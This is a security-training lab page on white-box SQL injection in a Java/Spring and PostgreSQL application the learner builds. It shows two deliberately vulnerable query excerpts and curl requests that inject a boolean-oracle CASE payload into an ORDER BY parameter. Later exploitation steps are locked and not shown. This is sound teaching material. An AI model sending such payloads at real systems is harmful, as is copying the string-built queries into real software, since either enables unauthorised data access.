Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Web attacks

Lab · Hard · 2.5 hoursFree account

Advanced SQL Injection

White-box ORDER BY injection, PostgreSQL stacked queries, and a second-order leak in a Java/Spring app.

  • sql-injection
  • postgresql
  • second-order
  • source-review
  • stacked-queries
On this page 16 sections
  1. ·Why this lab is different
  2. ·Prerequisites
  3. ·Lab setup
  4. ·Build the target
  5. 1Read the source for string-built queries
  6. 2Confirm the ORDER BY injection with a boolean oracle
  7. Locked: Extract data through the ORDER BY oracle
  8. Locked: Confirm stacked queries work
  9. Locked: Leak data with a stacked DO block
  10. Locked: Find and trigger the second-order injection
  11. Locked: Automate and verify with sqlmap
  12. Locked: Check for command-execution escalation
  13. Locked: Detection and defence
  14. Locked: Check
  15. Locked: Clean-up
  16. Locked: Command reference

White-box SQL injection starts by reading the source, not by fuzzing an input. Identifiers like a sort column cannot be bound as parameters, so an ORDER BY clause often hides an injection that a WHERE clause does not, and stacked PostgreSQL queries turn one leak into many. The exercises here read a small Java and Spring application, build a boolean oracle inside ORDER BY, and trigger a second-order injection that fires on a page the payload never touched.

Lab Objectives

  • Find a SQL injection point by reading application source, not by guessing
  • Explain why identifiers (like a sort column) cannot be bound as query parameters
  • Build a boolean oracle inside an ORDER BY clause and extract data with it
  • Run stacked queries against PostgreSQL and leak data through a raised exception
  • Trigger a second-order injection stored by one request and fired by another
  • Check whether a SQL injection can escalate to OS command execution, and explain why or why not

Why this lab is different

Blind SQL Injection gave you an oracle against a WHERE clause on MSSQL, with no source code to read. Real white-box reviews are different: you read the code first, so you know exactly where the taint goes before you send a single request.

This lab targets a Java/Spring Boot application backed by PostgreSQL. You will find two separate bugs by reading two small files. You exploit each one: an injection hidden in a sort parameter. The second bug is a second-order injection: it fires on a page you never touched when you sent the payload.

Prerequisites

  • Finish Blind SQL Injection. You need to already know how to build and read a boolean oracle. Here you place that oracle inside an ORDER BY clause instead of a WHERE clause.
  • Read SQL Injection Deep Dive again if UNION-based and error-based injection feel unfamiliar.
  • Read basic Java. You read two short files. You do not write any Java.

Lab setup

ItemPurpose
curlSends the crafted requests and reads the HTTP status and body
sqlmapConfirms the finding and automates extraction
A text editorReads the two Java source files for this lab

Build the target

KaliRange hosts no targets, no virtual machines and no lab files. You run this lab on your own machine, against a small application that you build. The names and the address 10.0.12.20:8080 below are the example values of this lab. Replace them with the address of your own application.

Your lab application, CorpCommerce, must have these parts:

PartWhat it must be
ApplicationAn order-management web application built with Java 17 and Spring Boot 3, reachable at 10.0.12.20:8080
DatabasePostgreSQL 15 with the pg_trgm extension (for similarity())
Database roleThe application connects as the role portal_app. It is not a superuser and not a member of pg_execute_server_program (Steps 3 and 8)
Your Kali machineThe attack box, with curl and sqlmap
  • The source tree of the application in a folder on your Kali machine. This lab calls it ~/corpcommerce-src. Use your own folder name and put it in the grep command of Step 1.
  • GET /api/orders with a sort parameter. The code is the OrderController excerpt of Step 1: ORDER BY built by string concatenation, with owner_id bound as a parameter. The endpoint answers without a login (Steps 2 to 5 and 8 send no cookie), and the owner has at least one order row, so that the ELSE branch of the CASE runs.
  • POST /api/register with JSON email, password and company. It stores company with a parameterised INSERT (Step 6).
  • POST /api/login with JSON email and password. It returns a session cookie.
  • GET /api/dashboard for a signed-in user. It calls the CompanyRepository.findSimilar excerpt of Step 1 with the stored company of that user. Table companies has the columns name and industry.
  • Stacked statements run: the application sends the query as one plain string, as in the excerpt.
  • An error handler that returns the raw database error in the message field of the JSON error body, as the outputs of Steps 5, 6 and 8 show.
  • No test account is needed. You register tester@example.com in Step 6. Use your own password and put it in the commands.

Build such an application yourself, or ask for no more than these two flaws in a small project: a sort parameter that is concatenated into ORDER BY, and a stored value that a later query concatenates. Run it and PostgreSQL in containers or virtual machines on your own computer. Do not expose it to a network that you do not control. If you use containers, note the container state before Step 1, so that you can go back.

Legal note. Run every command in this lab only against 10.0.12.20, your own application. Never point sqlmap or a crafted curl request at a server you do not own or have written permission to test. Unauthorised SQL injection is a crime in most countries.

Step 1: Read the source for string-built queries

1

Find where the app builds SQL by concatenation

Open the two files below. Each one binds some input safely and one input unsafely. Spot the difference before you run anything.

javaOrderController.java (excerpt)
@GetMapping("/api/orders")
public List<Order> listOrders(@RequestParam(defaultValue = "id") String sort) {
    // ownerId is bound safely — JdbcTemplate binds it with a placeholder.
    // sort is concatenated — JdbcTemplate cannot bind an IDENTIFIER (a column name).
    String sql = "SELECT * FROM orders WHERE owner_id = ? ORDER BY " + sort;
    return jdbcTemplate.query(sql, (rs, i) -> mapRow(rs), currentUser().getId());
}

A prepared statement can bind a value in place of ?. It cannot bind a column name or a direction (ASC/DESC) — those are identifiers, not values. Many real applications build the ORDER BY clause by concatenation for exactly this reason. That turns a sort feature into an injection point.

javaCompanyRepository.java (excerpt)
public List<Company> findSimilar(String companyName) {
    // companyName comes from the signed-in user's own stored profile.
    String sql = "SELECT name, industry FROM companies WHERE name <> '" + companyName
               + "' ORDER BY similarity(name, '" + companyName + "') DESC LIMIT 5";
    return jdbcTemplate.query(sql, (rs, i) ->
        new Company(rs.getString("name"), rs.getString("industry")));
}

findSimilar runs on the dashboard, not on registration. Remember this file — Step 6 comes back to it.

# Confirm the pattern yourself: search the source for string-built SQL
grep -rn "ORDER BY \" + sort\|name <> '\" + companyName" ~/corpcommerce-src

Example output:

OrderController.java:41: String sql = "SELECT * FROM orders WHERE owner_id = ? ORDER BY " + sort;
CompanyRepository.java:18: String sql = "SELECT name, industry FROM companies WHERE name <> '" + companyName

Step 2: Confirm the ORDER BY injection with a boolean oracle

2

Flip a CASE expression inside ORDER BY

Replace the sort value with a CASE expression. The ELSE branch divides by zero, so PostgreSQL raises an error only when the condition is false.

# Baseline — a normal sort value
curl -s -o /dev/null -w "%{http_code}\n" "http://10.0.12.20:8080/api/orders?sort=id"

# True branch: 1=1, so the CASE returns "id" — no error
curl -s -G --data-urlencode "sort=(CASE WHEN (1=1) THEN id ELSE (SELECT 1/0) END)" \
  -o /dev/null -w "%{http_code}\n" "http://10.0.12.20:8080/api/orders"

# False branch: 1=2, so the CASE falls into the ELSE branch — division by zero
curl -s -G --data-urlencode "sort=(CASE WHEN (1=2) THEN id ELSE (SELECT 1/0) END)" \
  -o /dev/null -w "%{http_code}\n" "http://10.0.12.20:8080/api/orders"

Example output:

200
200
500

The status code flips from 200 to 500 only when the condition is false. That flip is your oracle — true gives 200, false gives 500.

Sign in to continue

10 more sections are for signed-in members. It is free: sign in with Google.

Related